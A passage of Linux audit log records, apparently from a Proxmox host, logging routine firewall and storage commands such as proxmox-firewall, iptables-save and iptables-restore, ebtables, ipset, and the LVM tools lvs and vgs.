cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964926160,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964926.160:63253): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965448034,"@rawstring":"node=pve type=PATH msg=audit(1781965448.034:65660): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964926160,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964926.160:63252): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965448027,"@rawstring":"node=pve type=PATH msg=audit(1781965448.027:65659): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964926160,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964926.160:63251): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965448027,"@rawstring":"node=pve type=PATH msg=audit(1781965448.027:65659): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964926152,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964926.152:63250): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965448027,"@rawstring":"node=pve type=PATH msg=audit(1781965448.027:65658): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964926152,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964926.152:63249): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965448027,"@rawstring":"node=pve type=PATH msg=audit(1781965448.027:65657): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964926152,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964926.152:63248): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965446029,"@rawstring":"node=pve type=PATH msg=audit(1781965446.029:65656): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965446029,"@rawstring":"node=pve type=PATH msg=audit(1781965446.029:65656): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925561,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964925.561:63247): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965446023,"@rawstring":"node=pve type=PATH msg=audit(1781965446.023:65655): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925558,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964925.558:63246): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965446023,"@rawstring":"node=pve type=PATH msg=audit(1781965446.023:65655): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925558,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964925.558:63245): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965446021,"@rawstring":"node=pve type=PATH msg=audit(1781965446.021:65654): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925558,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964925.558:63244): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965446021,"@rawstring":"node=pve type=PATH msg=audit(1781965446.021:65654): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925554,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964925.554:63243): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965446021,"@rawstring":"node=pve type=PATH msg=audit(1781965446.021:65653): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925547,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964925.547:63242): proctitle=\"ip6tables-save\""} {"@timestamp":1781965446014,"@rawstring":"node=pve type=PATH msg=audit(1781965446.014:65652): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925541,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964925.541:63241): proctitle=\"iptables-save\""} {"@timestamp":1781965446014,"@rawstring":"node=pve type=PATH msg=audit(1781965446.014:65652): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925535,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964925.535:63240): proctitle=\"ip6tables-save\""} {"@timestamp":1781965446014,"@rawstring":"node=pve type=PATH msg=audit(1781965446.014:65652): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925528,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964925.528:63239): proctitle=\"iptables-save\""} {"@timestamp":1781965446007,"@rawstring":"node=pve type=PATH msg=audit(1781965446.007:65651): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925524,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964925.524:63238): proctitle=\"ebtables-restore\""} {"@timestamp":1781965446007,"@rawstring":"node=pve type=PATH msg=audit(1781965446.007:65651): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925522,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964925.522:63237): proctitle=\"ebtables-restore\""} {"@timestamp":1781965445998,"@rawstring":"node=pve type=PATH msg=audit(1781965445.998:65650): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925517,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964925.517:63236): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965445998,"@rawstring":"node=pve type=PATH msg=audit(1781965445.998:65650): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925511,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964925.511:63235): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965445989,"@rawstring":"node=pve type=PATH msg=audit(1781965445.989:65649): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925506,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964925.506:63234): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965445989,"@rawstring":"node=pve type=PATH msg=audit(1781965445.989:65649): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925500,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964925.500:63233): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965445980,"@rawstring":"node=pve type=PATH msg=audit(1781965445.980:65648): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925495,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964925.495:63232): proctitle=697073657400726573746F7265"} {"@timestamp":1781965445980,"@rawstring":"node=pve type=PATH msg=audit(1781965445.980:65648): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925488,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964925.488:63231): proctitle=\"ip6tables-save\""} {"@timestamp":1781965445973,"@rawstring":"node=pve type=PATH msg=audit(1781965445.973:65646): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925481,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964925.481:63230): proctitle=\"iptables-save\""} {"@timestamp":1781965445973,"@rawstring":"node=pve type=PATH msg=audit(1781965445.973:65646): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925478,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964925.478:63229): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965445967,"@rawstring":"node=pve type=PATH msg=audit(1781965445.967:65645): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925474,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964925.474:63228): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965445967,"@rawstring":"node=pve type=PATH msg=audit(1781965445.967:65645): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925473,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964925.473:63227): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965445961,"@rawstring":"node=pve type=PATH msg=audit(1781965445.961:65644): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925473,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964925.473:63226): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965445961,"@rawstring":"node=pve type=PATH msg=audit(1781965445.961:65644): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925469,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964925.469:63225): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965445955,"@rawstring":"node=pve type=PATH msg=audit(1781965445.955:65643): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925463,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964925.463:63224): proctitle=\"ip6tables-save\""} {"@timestamp":1781965445955,"@rawstring":"node=pve type=PATH msg=audit(1781965445.955:65643): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925456,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964925.456:63223): proctitle=\"iptables-save\""} {"@timestamp":1781965445948,"@rawstring":"node=pve type=PATH msg=audit(1781965445.948:65642): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925451,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964925.451:63222): proctitle=69707365740073617665"} {"@timestamp":1781965445948,"@rawstring":"node=pve type=PATH msg=audit(1781965445.948:65642): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925445,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964925.445:63221): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965445943,"@rawstring":"node=pve type=PATH msg=audit(1781965445.943:65641): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925438,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964925.438:63220): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965445943,"@rawstring":"node=pve type=PATH msg=audit(1781965445.943:65641): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964924278,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964924.278:63219): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965445933,"@rawstring":"node=pve type=PATH msg=audit(1781965445.933:65640): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964924251,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964924.251:63218): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965445933,"@rawstring":"node=pve type=PATH msg=audit(1781965445.933:65640): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964921141,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964921.141:63217): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965445925,"@rawstring":"node=pve type=PATH msg=audit(1781965445.925:65639): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964921141,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964921.141:63216): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965445925,"@rawstring":"node=pve type=PATH msg=audit(1781965445.925:65639): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964921141,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964921.141:63215): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965445920,"@rawstring":"node=pve type=PATH msg=audit(1781965445.920:65638): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964921135,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964921.135:63214): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965445920,"@rawstring":"node=pve type=PATH msg=audit(1781965445.920:65638): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964921135,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964921.135:63213): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965445910,"@rawstring":"node=pve type=PATH msg=audit(1781965445.910:65637): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964921135,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964921.135:63212): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965445910,"@rawstring":"node=pve type=PATH msg=audit(1781965445.910:65637): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964916120,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964916.120:63211): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965445909,"@rawstring":"node=pve type=PATH msg=audit(1781965445.909:65636): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964916120,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964916.120:63210): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965445909,"@rawstring":"node=pve type=PATH msg=audit(1781965445.909:65636): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964916120,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964916.120:63209): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965445909,"@rawstring":"node=pve type=PATH msg=audit(1781965445.909:65635): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964916102,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964916.102:63208): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965445904,"@rawstring":"node=pve type=PATH msg=audit(1781965445.904:65634): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964916102,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964916.102:63207): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965445904,"@rawstring":"node=pve type=PATH msg=audit(1781965445.904:65634): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964916102,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964916.102:63206): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965445904,"@rawstring":"node=pve type=PATH msg=audit(1781965445.904:65634): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915427,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964915.427:63205): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965445896,"@rawstring":"node=pve type=PATH msg=audit(1781965445.896:65633): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915424,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964915.424:63204): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965445896,"@rawstring":"node=pve type=PATH msg=audit(1781965445.896:65633): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915423,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964915.423:63203): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965445888,"@rawstring":"node=pve type=PATH msg=audit(1781965445.888:65632): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915423,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964915.423:63202): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965445888,"@rawstring":"node=pve type=PATH msg=audit(1781965445.888:65632): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915419,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964915.419:63201): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965445882,"@rawstring":"node=pve type=PATH msg=audit(1781965445.882:65631): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915413,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964915.413:63200): proctitle=\"ip6tables-save\""} {"@timestamp":1781965445882,"@rawstring":"node=pve type=PATH msg=audit(1781965445.882:65631): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915407,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964915.407:63199): proctitle=\"iptables-save\""} {"@timestamp":1781965445870,"@rawstring":"node=pve type=PATH msg=audit(1781965445.870:65630): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915401,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964915.401:63198): proctitle=\"ip6tables-save\""} {"@timestamp":1781965445870,"@rawstring":"node=pve type=PATH msg=audit(1781965445.870:65630): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915394,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964915.394:63197): proctitle=\"iptables-save\""} {"@timestamp":1781965445858,"@rawstring":"node=pve type=PATH msg=audit(1781965445.858:65629): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915390,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964915.390:63196): proctitle=\"ebtables-restore\""} {"@timestamp":1781965445858,"@rawstring":"node=pve type=PATH msg=audit(1781965445.858:65629): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915388,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964915.388:63195): proctitle=\"ebtables-restore\""} {"@timestamp":1781965444460,"@rawstring":"node=pve type=PATH msg=audit(1781965444.460:65628): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 